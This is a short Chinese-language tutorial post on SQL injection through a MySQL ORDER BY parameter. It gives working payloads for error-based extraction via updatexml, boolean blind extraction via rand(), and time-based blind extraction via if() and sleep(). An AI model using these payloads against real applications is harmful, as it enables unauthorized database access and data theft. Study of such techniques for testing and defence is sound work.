order by注入

淡淡的烟草味﹌ 2022-10-23 08:10 157阅读 0赞

### 文章目录 ###

*  注入点判断
 *  理解
 *  利用
 *   *  与updatexml函数配合进行报错注入：
     *  与rand函数进行盲注：
     *  利用if函数进行基于时间的盲注
 *  总结
 *  参考文章

# 注入点判断 #

如果有一个sql语句是：

select * from users order by x;

你说输入的数据会填写进x，那么这种情况下就会造成order by注入。

# 理解 #

order by注入就是我们可以更改order by后面的参数，`有点类似于盲注，如果我们通过if函数结合盲注原理的话，再配合order by的注入点，即可实现注入。或者直接利用报错注入的方法即可。`说白了，order by注入只是提供了一个注入点而已，这个注入点可以直接使用。

与sleep函数配合，至于为什么sleep(2)显示的是10，这是因为数据有5行，没查询一行都会sleep一次，因此可以根据sleep的时间判断表的行数：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

# 利用 #

## 与updatexml函数配合进行报错注入： ##

select * from new123 order by (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1));

![在这里插入图片描述][20210329172457366.png]

## 与rand函数进行盲注： ##

当rand为1或者0的时候，排序是不同的，由此可推断我们可使用基于布尔的盲注进行注入。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]

我们已知我们的数据库是testdb，ascii是116，转换成16进制是0x74，那我们用下面payload查询的话，数据排序结果应该跟rand(1)是一样的。  
![在这里插入图片描述][20210329171006623.png]

select * from new123 order by rand(ascii(mid((select database()),1,1))=116);

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

## 利用if函数进行基于时间的盲注 ##

这种方式不推荐利用，因为sleep的时间跟表中数据的行数成正比。

select * from new123 order by if((ascii(mid((select database()),1,1))=116),sleep(1),1);

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]

# 总结 #

order by注入配合报错注入最好，结果简单明了。  
也可以配合rand行数进行基于布尔的盲注。  
也可以配合if行数进行基于时间的盲注，不过耗时不稳定，不推荐。

# 参考文章 #

[MySQL Order By 注入总结][MySQL Order By]  
[sql注入之order by注入][sql_order by]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221023/771a468a7a8d48e1852a89ae49d37601.png
[20210329172457366.png]: /images/20221023/1fa449e8134843169e92af53e9e30b0e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221023/788255b754c94fef8622701d38335bf2.png
[20210329171006623.png]: /images/20221023/025830101dd44310b7e0fe6053b366af.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: /images/20221023/0695f024b2384637bf1909fe3bd11ce9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: /images/20221023/61be1cf0a54c4fa798af327b5dcfa029.png
[MySQL Order By]: https://www.secpulse.com/archives/57197.html
[sql_order by]: https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/